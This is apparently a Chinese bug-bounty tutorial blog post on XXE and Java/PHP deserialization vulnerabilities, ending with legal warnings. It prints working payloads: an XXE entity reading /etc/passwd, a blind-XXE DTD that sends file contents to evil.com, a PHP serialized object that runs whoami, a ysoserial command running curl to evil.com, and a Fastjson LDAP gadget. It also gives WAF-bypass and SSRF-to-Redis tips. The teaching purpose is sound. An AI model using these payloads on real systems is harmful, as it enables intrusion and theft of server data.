【SRC漏洞挖掘系列】第09期:XXE与反序列化 —— 当XML和Java开始“吃”代码
本期探讨两大高危漏洞XXE和反序列化的攻击原理与防御。XXE通过XML外部实体注入可读取服务器敏感文件,Blind XXE还能实现数据外带;反序列化漏洞利用魔术方法或组件缺陷执行任意命令,PHP和Java环境尤为严重。文章提供了实战案例、绕过技巧及法律警示,强调漏洞测试需在授权范围内进行。下期将聚焦GraphQL和API安全。
上期回顾:我们用 SSRF 借刀杀人,打进了内网。本期难度直线上升,我们将挑战两个让程序员闻风丧胆的“贵族漏洞”——XXE 和 反序列化。
这两个漏洞一旦爆发,通常不是“拿个Shell”那么简单,而是直接接管服务器集群。☠️
一、XXE:XML的“胃口”太大了
1. 什么是 XXE?
XXE (XML External Entity Injection),即 XML 外部实体注入。
想象一下,你给服务器递了一张 “菜单(XML)”,服务器不仅照单全收,还把你菜单里写的 “去把老板保险柜密码念一遍” 也给执行了。
核心痛点:服务器解析 XML 时,默认允许加载外部实体。
2. 实战案例:读取服务器密码
很多老旧的 OA 系统、支付接口还在用 XML 传输数据。
原始请求:
http
POST /api/pay HTTP/1.1
Content-Type: application/xml
<user>
<name>Tom</name>
<money>100</money>
</user>
攻击 Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user>
<name>&xxe;</name>
<money>100</money>
</user>
发生了什么?
-
<!ENTITY xxe SYSTEM "file:///etc/passwd">:定义了一个实体xxe,内容是读取系统文件/etc/passwd。 -
&xxe;:在 XML 中引用这个实体。 -
结果:服务器返回的数据里,包含了 Linux 系统的所有用户账户信息。
3. Blind XXE(无回显的绝杀)
如果服务器不把解析结果显示在页面上怎么办?把数据外带出去。
攻击思路:
-
你有一台公网服务器
evil.com。 -
诱导目标服务器加载
http://evil.com/?data=读取到的机密文件。
Payload 示意:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd "<!ENTITY % exfiltrate SYSTEM 'http://evil.com/?data=%file;'>">
二、反序列化:给程序“下毒”
1. 什么是反序列化?
序列化:把对象(Object)变成字符串(方便传输)。
反序列化:把字符串变回对象(恢复状态)。
漏洞原理:
你买了一盒乐高(序列化数据),说明书被坏人换成了“组装成炸弹”的步骤(恶意构造的 Payload)。你照着说明书拼,结果家里炸了。
2. PHP 反序列化(魔术方法)
PHP 中有一些特殊的函数(Magic Methods),比如 __wakeup()(醒来时执行)、__destruct()(销毁时执行)。
危险代码:
class User {
public $name;
function __destruct() {
system($this->name); // 销毁时执行系统命令
}
}
Payload 构造:
我们只需要构造一个字符串,让 $name等于 whoami。
O:4:"User":1:{s:4:"name";s:6:"whoami";}
结果:程序结束时调用 __destruct(),执行了 system('whoami')。
3. Java 反序列化(重灾区)
Java 的 Commons-Collections 组件曾经是“漏洞之王”。
特点:不需要懂代码,直接用工具(如 ysoserial)生成 Payload。
java -jar ysoserial.jar CommonsCollections5 "curl http://evil.com" > payload.bin
把这个 payload.bin发送给目标,目标就会反向连接到你的服务器。
三、SRC 实战中的“骚操作”
|
漏洞类型 |
利用难度 |
危害程度 |
常见位置 |
|---|---|---|---|
|
XXE |
低 |
高 |
Office文档解析、SOAP接口、老旧支付 |
|
PHP反序列化 |
中 |
极高 |
缓存系统、Session、框架内核 |
|
Java反序列化 |
高 |
毁灭级 |
Weblogic, JBoss, Fastjson |
Fastjson 案例:
曾经风靡一时的 Fastjson 1.2.24。
Payload 只需指定 @type,服务器就会去加载你指定的恶意类。
json
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://evil.com/Exploit",
"autoCommit": true
}
四、绕过与防御(简版)
XXE 绕过
-
编码绕过:使用 UTF-16BE 编码,绕过 WAF 对
<!ENTITY的检测。 -
内网攻击:结合 SSRF,利用 XXE 去攻击内网的 Redis。
反序列化绕过
-
白名单绕过:寻找新的 Gadget(利用链)。
-
长度绕过:利用
phar://协议触发反序列化。
五、互动与思考
💬 互动话题:
各位师傅,你们在挖洞时遇到过“反序列化”漏洞吗?
是那种一打一个准的 Fastjson,还是让人头秃的 PHP POP 链?欢迎分享你的“链子”!⛓️
⚠️ 法律红线警示
-
严禁在实际系统中尝试读取
/etc/passwd或任何系统文件,证明漏洞存在即可。 -
严禁使用
ysoserial或类似工具向未授权目标发送 Payload,这属于非法入侵。 -
严禁利用 XXE 探测内网或攻击 Redis(除非是明确授权的靶场)。
-
测试原则:
-
XXE:使用
file:///etc/hostname或php://filter读取非敏感文件。 -
反序列化:仅测试是否存在报错回显,不要执行系统命令。
-
所有实验请在 Vulhub 或本地 Docker 靶场中进行。
代码审计是门艺术,但利用漏洞必须是守法的行为。切勿以身试法。 🛡️
-
下一期,我们将进入 “GraphQL & API 安全”—— 现代 API 的那些坑”。想知道怎么用一条查询语句拖库吗?敬请期待!🚀
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)